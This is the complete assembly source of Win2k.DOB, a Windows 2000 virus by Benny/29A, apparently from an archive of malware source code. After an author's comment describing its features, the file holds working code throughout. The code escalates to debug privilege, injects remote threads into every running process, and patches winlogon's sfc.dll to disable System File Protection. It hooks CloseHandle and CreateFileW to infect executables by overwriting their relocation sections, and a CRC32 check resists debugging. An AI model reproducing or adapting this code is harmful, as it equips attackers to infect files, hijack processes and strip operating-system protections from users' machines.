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MalwareSourceCode/LegacyWindows/Win2k/Win2k.DOB.asm
TheDuchy d44d9b59a7 Folder structure change, added README
2020-10-16 22:28:58 +02:00

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COMMENT#
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ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
ÃÅÅÅÅÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÅÅÅÅ´
ÃÅÅÅ´ Win2k.DOB ÃÅÅÅ´
ÃÅÅÅ´ by Benny/29A ÃÅÅÅ´
ÃÅÅÅÅÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÂÅÅÅÅ´
ÃÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ´
ÀÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÁÙ
Hello dear reader,
here is my another Win2k infector. This one is multi-process resident and featurez
some small kind of stealth and runtime SFP disabling! The main viral code worx with
all processes in the system and tries to inflitrate them. IF the process in
winlogon.exe, it createz remote thread which will overwrite code that handlez System
File Protection in Windows 2000. There's no need to restart computer, from the
execution ALL filez protected by SFP are now unprotected! I used the same method
which is described in article about SFC disabling in 29A-6 magazine. I have to
mentioned that this code is coded by me and also Ratter of 29A.
In the case the found process is not winlogon.exe it triez to create remote thread
which will hook CloseHandle and CreateFileW APIZ there. The mentioned semi-stealth
mechanism worx in this way - when infected program tries to open infected file with
CreateFileW API, virus will disinfect it and pass the execution to the API and host.
When host program tries to close file by CloseHandle API, virus will try to infect
it by my favourite method - overwritting of relocation section. I had this semi-stealth
mechanism (semi becoz infection via CloseHandle doesnt always work - file is not alwayz
opened with all required access rightz so many timez the infection will fail - and for now
I dont know how to recieve filename from HANDLE by Win2k compatible way. If anyone knows
it, pleaz gimme know!) for long yearz in my head. Originaly I wanted to implement it
in Win32.Vulcano, but I was so lazy... I decided to code it now, well I know its a bit
later, but better later than never :)
Virus also chex its own integrity on the start (by CRC32) so in the case someone set
some breakpointz in the viral code, virus will not run.
I didnt test Win2k.DOB very deeply, so it is possible that it has some bugz. However,
again I didnt code it for spreading, but to show some new ideaz. I hope you will like
this virus...
(c)oded in September, 2001
Czech Republic.
#
.386p
.model flat
include win32api.inc
include useful.inc
include mz.inc
include pe.inc
invoke macro api ;macro for API callz
extrn api:PROC ;declare API
call api ;call it...
endm
@SEH_SetupFrame_UnProtect macro
local set_new_eh
local exception_handler
local @n
call set_new_eh
pushad
mov ebx,dword ptr [esp+cPushad+EH_ExceptionRecord]
cmp dword ptr [ebx.ER_ExceptionCode],EXCEPTION_ACCESS_VIOLATION
jne exception_handler
call @n
dd ?
@n: mov ebx,[ebx.ER_ExceptionInformation+4]
push PAGE_READWRITE
and ebx,0FFFFF000h
push 2*4096
push ebx
mov eax,12345678h
_VirtualProtect = dword ptr $-4
call eax ;unprotect 2 pagez
exception_handler:
popad
xor eax,eax
ret
set_new_eh: ;set SEH frame
xor edx,edx
push dword ptr fs:[edx]
mov fs:[edx],esp
endm
.data
;this is the remote thread that getz executed in infected process
rtStart Proc
pushad
tdelta = $+5
@SEH_SetupFrame <jmp end_thread>
mov ebp,[esp+4] ;EBP = delta offset
;hook 2 APIz - CloseHandle and CreateFileW
mov esi,12345678h
_CloseHandle = dword ptr $-4
cmp [esi],64EC8B55h ;check CloseHandle API...
jne try_cfw
cmp dword ptr [esi+4],000018A1h ;...code
jne try_cfw
mov eax,esi
neg esi
add esi,newCloseHandle-rtStart-5
add esi,12345678h
virus_base = dword ptr $-4
mov byte ptr [eax],0E9h ;create "JMP <virus>"
mov [eax+1],esi
mov [eax+5],90909090h ;fill with NOPs
add eax,9
mov [ebp + nextCH - tdelta],eax ;save the address
;and do the same for CreateFileW API
try_cfw:mov esi,12345678h
_CreateFileW = dword ptr $-4
cmp [esi],83EC8B55h
jne end_thread
cmp word ptr [esi+4],5CECh
jne end_thread
mov eax,esi
neg esi
add esi,newCreateFileW-rtStart-5
add esi,[ebp + virus_base - tdelta]
mov byte ptr [eax],0E9h
mov [eax+1],esi
mov byte ptr [eax+5],90h
add eax,6
mov [ebp + nextCFW - tdelta],eax
end_thread:
@SEH_RemoveFrame
popad
ret
;hooker for CreateFileW - disinfectz opened file from virus
newCreateFileW:
pushad
call @oldCFW
cdelta = $
bytez_CreateFileW:
push ebp ;overwritten code
mov ebp,esp
sub esp,5Ch
push 12345678h ;return address
nextCFW = dword ptr $-4
ret
@oldCFW:pop ebp ;EBP = delta offset
mov ecx,12345678h
semaphore = dword ptr $-4
jecxz c_cfw
xor eax,eax
and [ebp + semaphore - cdelta],eax
call disinfect ;try to disinfect the file
mov [ebp + semaphore - cdelta],ebp
c_cfw: popad
jmp bytez_CreateFileW ;and run the previous code
;hooker for CloseHandle - infectz file which's getting closed
newCloseHandle:
pushad
call @oldCH
hdelta = $
bytez_CloseHandle:
push ebp ;overwritten code
mov ebp,esp
mov eax,LARGE fs:[18h]
push 12345678h ;return address
nextCH = dword ptr $-4
ret
@oldCH: pop ebp ;EBP = delta offset
mov ecx,[ebp + semaphore - hdelta]
jecxz c_ch
and dword ptr [ebp + semaphore - hdelta],0
call tryInfect ;try to infect
mov [ebp + semaphore - hdelta],ebp
c_ch: popad
jmp bytez_CloseHandle ;and run the previous code
tryInfect:
mov ebx,[esp.cPushad+8] ;get the handle
push ebx
mov eax,12345678h
_GetFileType = dword ptr $-4
call eax
dec eax
je c_ti ;must be FILE_TYPE_DISK
end_ti: ret
c_ti: push eax
push eax
push eax
push PAGE_READWRITE
push eax
push ebx
mov eax,12345678h
_CreateFileMappingA = dword ptr $-4
call eax ;map the file
cdq
xchg eax,ecx
jecxz end_ti
mov [ebp + hFile - hdelta],ecx
push edx
push edx
push edx
push FILE_MAP_WRITE
push ecx
mov eax,12345678h
_MapViewOfFile = dword ptr $-4
call eax ;--- " " ---
test eax,eax
je close_file
xchg eax,ebx
mov [ebp + lpFile - hdelta],ebx
jmp n_open
unmap_file:
push 12345678h
lpFile = dword ptr $-4
mov eax,12345678h
_UnmapViewOfFile = dword ptr $-4
call eax ;unmap the file
close_file:
push 12345678h
hFile = dword ptr $-4
call [ebp + _CloseHandle - hdelta] ;--- " " ---
ret
n_open: mov esi,[ebx.MZ_lfanew]
add esi,ebx
mov eax,[esi]
add eax,-IMAGE_NT_SIGNATURE
jne unmap_file ;must be PE file
;discard not_executable and system filez
cmp word ptr [esi.NT_FileHeader.FH_Machine],IMAGE_FILE_MACHINE_I386
jne unmap_file
mov ax,[esi.NT_FileHeader.FH_Characteristics]
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
je unmap_file
test ax,IMAGE_FILE_DLL
jne unmap_file
test ax,IMAGE_FILE_SYSTEM
jne unmap_file
mov al,byte ptr [esi.NT_FileHeader.OH_Subsystem]
test al,IMAGE_SUBSYSTEM_NATIVE
jne unmap_file
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je unmap_file
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,esi
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
mov eax,[edx]
test eax,eax
je unmap_file
cmp eax,[edi.SH_VirtualAddress]
jne unmap_file
cmp [edi.SH_SizeOfRawData],virtual_end-rtStart
jb unmap_file ;is it large enough?
pushad
xor eax,eax
mov edi,edx
stosd
stosd
popad ;erase relocs record
;align the section size
mov eax,virtual_end-rtStart
cmp eax,[edi.SH_VirtualSize]
jb o_vs
mov ecx,[esi.NT_OptionalHeader.OH_SectionAlignment]
cdq
div ecx
test edx,edx
je o_al
inc eax
o_al: mul ecx
mov [edi.SH_VirtualSize],eax
o_vs: push dword ptr [ebp + original_ep - hdelta]
mov eax,[esi.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov ecx,[edi.SH_VirtualAddress]
add ecx,Start-rtStart
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],ecx
mov [ebp + original_ep - hdelta],eax
mov eax,[esi.NT_OptionalHeader.OH_ImageBase]
add [ebp + original_ep - hdelta],eax
;set saved_entrypoint variable
pushad
mov edi,[edi.SH_PointerToRawData]
add edi,ebx
lea esi,[ebp + rtStart - hdelta]
mov ecx,(virtual_end-rtStart+3)/4
rep movsd ;overwrite relocs by virus body
popad
pop dword ptr [ebp + original_ep - hdelta]
;restore used variablez
or dword ptr [edi.SH_Characteristics],IMAGE_SCN_MEM_WRITE
jmp unmap_file
disinfect:
push eax
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push eax
push FILE_SHARE_READ
push GENERIC_READ or GENERIC_WRITE
push dword ptr [esp.cPushad+32]
call [ebp + _CreateFileW - cdelta] ;open the file
inc eax
jne c_di
ret
c_di: dec eax
mov [ebp + cFile - cdelta],eax
cdq
xor edx,edx
push edx
push edx
push edx
push PAGE_READWRITE
push edx
push eax
call [ebp + _CreateFileMappingA - cdelta] ;create file mapping
cdq
xchg eax,ecx
jecxz c_close_file
mov [ebp + cMapFile - cdelta],ecx
push edx
push edx
push edx
push FILE_MAP_WRITE
push ecx
call [ebp + _MapViewOfFile - cdelta] ;map to address space
test eax,eax
je c_close_file2
xchg eax,ebx
mov [ebp + clpFile - cdelta],ebx
jmp n_copen
c_unmap_file:
push 12345678h
clpFile = dword ptr $-4
call [ebp + _UnmapViewOfFile - cdelta] ;unmap file
c_close_file2:
push 12345678h
cMapFile = dword ptr $-4
call [ebp + _CloseHandle - cdelta] ;close file mapping
c_close_file:
push 12345678h
cFile = dword ptr $-4
call [ebp + _CloseHandle - cdelta] ;and the file itself
ret
n_copen:mov esi,[ebx.MZ_lfanew]
add esi,ebx
mov eax,[esi]
add eax,-IMAGE_NT_SIGNATURE
jne c_unmap_file ;must be PE file
movzx eax,word ptr [esi.NT_FileHeader.FH_NumberOfSections]
dec eax
test eax,eax
je unmap_file
imul eax,eax,IMAGE_SIZEOF_SECTION_HEADER
movzx edx,word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edi,[eax+edx+IMAGE_SIZEOF_FILE_HEADER+4]
add edi,esi
cmp [edi],'ler.'
jne c_unmap_file
cmp dword ptr [edi+4],'co'
jne c_unmap_file ;must be ".reloc"
lea edx,[esi.NT_OptionalHeader.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress]
xor ecx,ecx
cmp [edx],ecx
jne c_unmap_file ;must be NULL
mov eax,[edi.SH_VirtualAddress]
mov [edx],eax ;restore the address field
mov eax,[edi.SH_VirtualSize]
mov [edx+4],eax ;and the size field
xchg eax,ecx
mov ecx,[edi.SH_SizeOfRawData]
mov edi,[edi.SH_PointerToRawData]
add edi,ebx
pushad
push esi
mov esi,edi
lea edi,[ebp + end_seh - cdelta]
mov ecx,original_ep-end_seh
l_ep: pushad
rep cmpsb
popad
je got_ep
inc esi
jmp l_ep
got_ep: add esi,original_ep-end_seh ;find the saved entrypoint in virus body
lodsd
pop esi
sub eax,[esi.NT_OptionalHeader.OH_ImageBase]
mov [esi.NT_OptionalHeader.OH_AddressOfEntryPoint],eax
popad ;restore it
rep stosb ;and overwrite body with NULLs
jmp c_unmap_file
rtStart EndP
signature db 0,'[Win2k.DOB], multi-process stealth project by Benny/29A',0
;little signature ;-)
; !!! VIRAL CODE STARTS HERE !!!
Start: pushad
gdelta = $+5
@SEH_SetupFrame <jmp end_seh> ;setup SEH frame
call check_crc32 ;check viral body consistency
protected:
mov ebp,[esp+4] ;EBP = delta offset
mov edx,cs
xor dl,dl
jne end_seh ;must be under winNT/2k!
call get_base ;get K32 base address
call get_apiz ;find addresses of APIz
call advapi_apiz ;get ADVAPI32 apiz
call psapi_apiz ;get PSAPI apiz
mov eax,12345678h
_GetCurrentProcess = dword ptr $-4
call eax ;get current process pseudohandle
lea ecx,[ebp + p_token - gdelta]
push ecx
push 20h
push eax
mov eax,12345678h
_OpenProcessToken = dword ptr $-4 ;open token of our process
call eax
dec eax
jne err_ap
lea ecx,[ebp + p_luid - gdelta]
push ecx
@pushsz 'SeDebugPrivilege'
push eax
mov eax,12345678h
_LookupPrivilegeValueA = dword ptr $-4 ;find LUID for this priv.
call eax
dec eax
jne err_ap
lea ecx,[ebp + token_priv - gdelta]
push eax
push eax
push 10h
push ecx
push eax
push dword ptr [ebp + p_token - gdelta]
mov eax,12345678h
_AdjustTokenPrivileges = dword ptr $-4
call eax ;adjust higher priviledges
;for our process ;-)
err_ap: lea esi,[ebp + procz - gdelta]
lea eax,[ebp + tmp - gdelta]
push eax
push 80h
push esi
mov eax,12345678h
_EnumProcesses = dword ptr $-4
call eax ;enumerate all running processes
dec eax
jne end_seh
add esi,4
p_search:
lodsd ;get PID
test eax,eax
je end_ps
call analyse_process ;and try to infect it
jmp p_search
end_ps: push 12345678h
_advapi32 = dword ptr $-4
mov esi,12345678h
_FreeLibrary = dword ptr $-4
call esi
push 12345678h
_psapi = dword ptr $-4
call esi ;free ADVAPI32 and PSAPI libz
end_seh:@SEH_RemoveFrame ;remove SEH frame
popad
extrn ExitProcess:PROC
push cs
push offset ExitProcess
original_ep = dword ptr $-4
retf ;jump to host!
analyse_process Proc
pushad
push eax
push 0
push 43Ah
mov eax,12345678h
_OpenProcess = dword ptr $-4
call eax ;PID -> handle
test eax,eax
je end_ap
mov [ebp + hProcess - gdelta],eax
push eax
push eax
lea esi,[ebp + modz - gdelta]
lea ecx,[ebp + tmp - gdelta]
push ecx
push 4
push esi
push eax
mov eax,12345678h
_EnumProcessModules = dword ptr $-4
call eax ;get first (main) module
pop ecx
dec eax
jne end_ap1
lodsd
lea edi,[ebp + mod_name - gdelta]
push MAX_PATH
push edi
push eax
push ecx
mov eax,12345678h
_GetModuleBaseNameA = dword ptr $-4
call eax ;get its name
xchg eax,ecx
test ecx,ecx
je end_ap1
@pushsz 'winlogon.exe'
pop esi
mov ebx,edi
pushad
rep cmpsb
popad
je r_winlogon ;is it winlogon?
;nope, try to infect the process
lea esi,[ebp + rtStart - gdelta]
mov edi,virtual_end-rtStart
call r_create_thread
jmp end_ap1
r_winlogon:
;yeah, disable SFP!
lea esi,[ebp + winlogon_start_rroutine - gdelta]
mov edi,winlogon_end_rroutine-winlogon_start_rroutine
call r_create_thread
end_ap1:call [ebp + _CloseHandle - gdelta]
end_ap: popad
ret
analyse_process EndP
;this proc createz remote thread
r_create_thread Proc
push PAGE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push edi
push 0
push 12345678h
hProcess = dword ptr $-4
mov eax,12345678h
_VirtualAllocEx = dword ptr $-4
call eax ;aloc there a memory
test eax,eax
je err_rcr
xchg eax,ebx
mov [ebp + virus_base - gdelta],ebx
push 0
push edi
push esi
push ebx
push dword ptr [ebp + hProcess - gdelta]
mov eax,12345678h
_WriteProcessMemory = dword ptr $-4
call eax ;write there our code
dec eax
jne free_mem
lea ecx,[ebp + tmp - gdelta]
push ecx
push PAGE_READWRITE
push 1
push dword ptr [ebp + _CloseHandle - gdelta]
push dword ptr [ebp + hProcess - gdelta]
mov eax,12345678h
_VirtualProtectEx = dword ptr $-4
call eax ;unprotect first CloseHandle API page
dec eax
jne free_mem
lea ecx,[ebp + tmp - gdelta]
push ecx
push PAGE_READWRITE
push 1
push dword ptr [ebp + _CreateFileW - gdelta]
push dword ptr [ebp + hProcess - gdelta]
call [ebp + _VirtualProtectEx - gdelta] ;unprotect first CreateFileW API page
dec eax
jne free_mem
xor edx,edx
push edx
push edx
push edx
push ebx
push edx
push edx
push dword ptr [ebp + hProcess - gdelta]
mov eax,12345678h
_CreateRemoteThread = dword ptr $-4
call eax ;run remote thread!
push eax
call [ebp + _CloseHandle - gdelta]
err_rcr:ret
free_mem:
push MEM_RELEASE
push 0
push ebx
push dword ptr [ebp + hProcess - gdelta]
mov eax,12345678h
_VirtualFreeEx = dword ptr $-4
call eax ;free memory
ret
r_create_thread EndP
winlogon_start_rroutine Proc
pushad
@SEH_SetupFrame_UnProtect ;set SEH frame
@pushsz 'sfc.dll'
mov eax,12345678h
_GetModuleHandleA = dword ptr $-4
call eax ;get sfc.dll address
test eax,eax
je end_rseh
xchg eax,esi
mov eax,[esi.MZ_lfanew]
add eax,esi
movzx edx,word ptr [eax.NT_FileHeader.FH_SizeOfOptionalHeader]
lea edx,[edx+eax+(3*IMAGE_SIZEOF_FILE_HEADER)]
mov ecx,[edx.SH_SizeOfRawData] ;get size of section
call @s_str
@b_str: db 0FFh,15h,8Ch,12h,93h,76h ;code to search & patch
db 85h,0C0h
db 0Fh,8Ch,0F1h,00h,00h,00h
db 0Fh,84h,0EBh,00h,00h,00h
db 3Dh,02h,01h,00h,00h
@s_str: pop edi
s_str: pushad
push @s_str-@b_str
pop ecx
rep cmpsb ;search for code
popad
je got_addr
inc esi
loop s_str
jmp end_rseh
got_addr:
call e_next
s_next: push 0 ;"patch" code
mov eax,12345678h
_ExitThread = dword ptr $-4
call eax
e_next: pop edi
xchg esi,edi
add edi,6
mov ecx,e_next-s_next
rep movsb ;patch sfc.dll code by our code
end_rseh:
@SEH_RemoveFrame
popad
ret ;and quit
winlogon_end_rroutine:
winlogon_start_rroutine EndP
;this procedure can retrieve base address of K32
get_base Proc
mov eax,077E80000h ;get lastly used address
last_kern = dword ptr $-4
call check_kern ;is this address valid?
jecxz end_gb ;yeah, we got the address
call gb_table ;jump over the address table
dd 077E00000h ;NT/W2k
dd 077E80000h ;NT/W2k
dd 077ED0000h ;NT/W2k
dd 077F00000h ;NT/W2k
dd 0BFF70000h ;95/98
gb_table:
pop edi ;get pointer to address table
push 4 ;get number of items in the table
pop esi ;to ESI
gbloop: mov eax,[edi+esi*4] ;get item
call check_kern ;is address valid?
jecxz end_gb ;yeah, we got the valid address
dec esi ;decrement ESI
test esi,esi ;end of table?
jne gbloop ;nope, try next item
call scan_kern ;scan the address space for K32
end_gb: ret ;quit
check_kern: ;check if K32 address is valid
mov ecx,eax ;make ECX != 0
pushad ;store all registers
@SEH_SetupFrame <jmp end_ck> ;setup SEH frame
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne end_ck ;nope
mov ebx,[eax.MZ_lfanew] ;get pointer to PE header
add ebx,eax ;normalize it
mov ebx,[ebx] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne end_ck ;nope
xor ecx,ecx ;we got K32 base address
mov [ebp + last_kern - gdelta],eax ;save K32 base address
end_ck: @SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_ecx],ecx ;save ECX
popad ;restore all registers
ret ;if ECX == 0, address was found
SEH_hndlr macro ;macro for SEH
@SEH_RemoveFrame ;remove SEH frame
popad ;restore all registers
add dword ptr [ebp + bAddr - gdelta],1000h ;explore next page
jmp bck ;continue execution
endm
scan_kern: ;scan address space for K32
bck: pushad ;store all registers
@SEH_SetupFrame <SEH_hndlr> ;setup SEH frame
mov eax,077000000h ;starting/last address
bAddr = dword ptr $-4
movzx edx,word ptr [eax] ;get two bytes
add edx,-"ZM" ;is it MZ header?
jne pg_flt ;nope
mov edi,[eax.MZ_lfanew] ;get pointer to PE header
add edi,eax ;normalize it
mov ebx,[edi] ;get four bytes
add ebx,-"EP" ;is it PE header?
jne pg_flt ;nope
mov ebx,eax
mov esi,eax
add ebx,[edi.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add esi,[ebx.ED_Name]
mov esi,[esi]
add esi,-'NREK'
je end_sk
pg_flt: xor ecx,ecx ;we got K32 base address
mov [ecx],esi ;generate PAGE FAULT! search again...
end_sk: mov [ebp + last_kern - gdelta],eax ;save K32 base address
@SEH_RemoveFrame ;remove SEH frame
mov [esp.Pushad_eax],eax ;save EAX - K32 base
popad ;restore all registers
ret
get_base EndP
get_apiz Proc
mov esi,eax ;base of K32
mov edx,[esi.MZ_lfanew]
add edx,esi
mov ebx,[edx.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
add ebx,esi
mov ecx,[ebx.ED_NumberOfNames]
mov edx,[ebx.ED_AddressOfNames]
add edx,esi
xor eax,eax
c_find: pushad
add esi,[edx+eax*4]
push esi
@endsz
mov edi,esi
pop esi
sub edi,esi
call CRC32 ;calculate CRC32 of the API
push n_apiz ;number of apiz
pop ecx
call @callz
s_apiz: dd 082B618D4h ;GetModuleHandleA
dd 04134D1ADh ;LoadLibraryA
dd 0AFDF191Fh ;FreeLibrary
dd 0FFC97C1Fh ;GetProcAddress
dd 079C3D4BBh ;VirtualProtect
dd 0058F9201h ;ExitThread
dd 003690E66h ;GetCurrentProcess
dd 033D350C4h ;OpenProcess
dd 0DA89FC22h ;VirtualAllocEx
dd 00E9BBAD5h ;WriteProcessMemory
dd 0CF4A7F65h ;CreateRemoteThread
dd 0700ED6DFh ;VirtualFreeEx
dd 068624A9Dh ;CloseHandle
dd 056E1B657h ;VirtualProtectEx
dd 000D38F42h ;GetFileType
dd 096B2D96Ch ;CreateFileMappingA
dd 0797B49ECh ;MapViewOfFile
dd 094524B42h ;UnmapViewOfFile
dd 090119808h ;CreateFileW
n_apiz = ($-s_apiz)/4
@callz: pop edx
c_look: cmp [edx-4+(ecx*4)],eax ;is it our API?
je got_call ;yeah
loop c_look ;nope, look for another API in our table
c_out: popad
inc eax
loop c_find
ret
got_call:
mov edx,[ebx.ED_AddressOfOrdinals]
mov esi,[esp.Pushad_esi]
add edx,esi
mov eax,[esp.Pushad_eax]
movzx eax,word ptr [edx+eax*2]
mov edx,esi
add edx,[ebx.ED_AddressOfFunctions]
mov eax,[edx+eax*4]
add eax,esi
lea edx,[ebp + Start - gdelta]
add edx,[ebp + api_addr-4+ecx*4 - gdelta]
mov [edx],eax ;save it
jmp c_out
get_apiz EndP
api_addr: ;where to save apiz numberz...
dd offset _GetModuleHandleA-Start
dd offset _LoadLibraryA-Start
dd offset _FreeLibrary-Start
dd offset _GetProcAddress-Start
dd offset _VirtualProtect-Start
dd offset _ExitThread-Start
dd offset _GetCurrentProcess-Start
dd offset _OpenProcess-Start
dd offset _VirtualAllocEx-Start
dd offset _WriteProcessMemory-Start
dd offset _CreateRemoteThread-Start
dd offset _VirtualFreeEx-Start
dd offset _CloseHandle-Start
dd offset _VirtualProtectEx-Start
dd offset _GetFileType-Start
dd offset _CreateFileMappingA-Start
dd offset _MapViewOfFile-Start
dd offset _UnmapViewOfFile-Start
dd offset _CreateFileW-Start
CRC32: push ecx ;procedure for calculating CRC32s
push edx ;at run-time
push ebx
xor ecx,ecx
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax,edx
rol eax,16
mov ax,cx
pop edx
pop ecx
ret
;get addressez of ADVAPI32 APIz
advapi_apiz Proc
@pushsz 'ADVAPI32'
mov eax,12345678h
_LoadLibraryA = dword ptr $-4
call eax ;load ADVAPI32
xchg eax,ebx
mov [ebp + _advapi32 - gdelta],ebx
@pushsz 'OpenProcessToken'
push ebx
mov esi,12345678h
_GetProcAddress = dword ptr $-4
call esi
mov [ebp + _OpenProcessToken - gdelta],eax
;save API address
@pushsz 'LookupPrivilegeValueA'
push ebx
call esi
mov [ebp + _LookupPrivilegeValueA - gdelta],eax
;--- " " ---
@pushsz 'AdjustTokenPrivileges'
push ebx
call esi
mov [ebp + _AdjustTokenPrivileges - gdelta],eax
;--- " " ---
ret
advapi_apiz EndP
;get addressez of PSAPI APIz
psapi_apiz Proc
@pushsz 'PSAPI'
call [ebp + _LoadLibraryA - gdelta] ;load PSAPI
xchg eax,ebx
mov [ebp + _psapi - gdelta],ebx
@pushsz 'EnumProcesses'
push ebx
call esi
mov [ebp + _EnumProcesses - gdelta],eax
;save API address
@pushsz 'EnumProcessModules'
push ebx
call esi
mov [ebp + _EnumProcessModules - gdelta],eax
;--- " " ---
@pushsz 'GetModuleBaseNameA'
push ebx
call esi
mov [ebp + _GetModuleBaseNameA - gdelta],eax
;--- " " ---
@pushsz 'EnumProcesses'
push ebx
call esi
mov [ebp + _EnumProcesses - gdelta],eax
;--- " " ---
ret
psapi_apiz EndP
token_priv dd 1
p_luid dq ?
dd 2
procz dd 80h dup (?)
dd ?
modz dd ?
mod_name db MAX_PATH dup (?)
p_token dd ?
tmp dd ?
check_crc32:
pop esi
mov edi,check_crc32-protected
call CRC32 ;calculate CRC32 for viral body
cmp eax,0D620301Eh
jne end_seh ;quit if does not match
jmp protected
virtual_end:
.code ;first generation code
FirstGeneration:
jmp Start
;virtual size of virus
db 0dh,0ah,'Virus size in memory: '
db '0'+((virtual_end-rtStart)/1000) mod 10
db '0'+((virtual_end-rtStart)/100) mod 10
db '0'+((virtual_end-rtStart)/10) mod 10
db '0'+((virtual_end-rtStart)/1) mod 10
db 0dh,0ah
ends
End FirstGeneration
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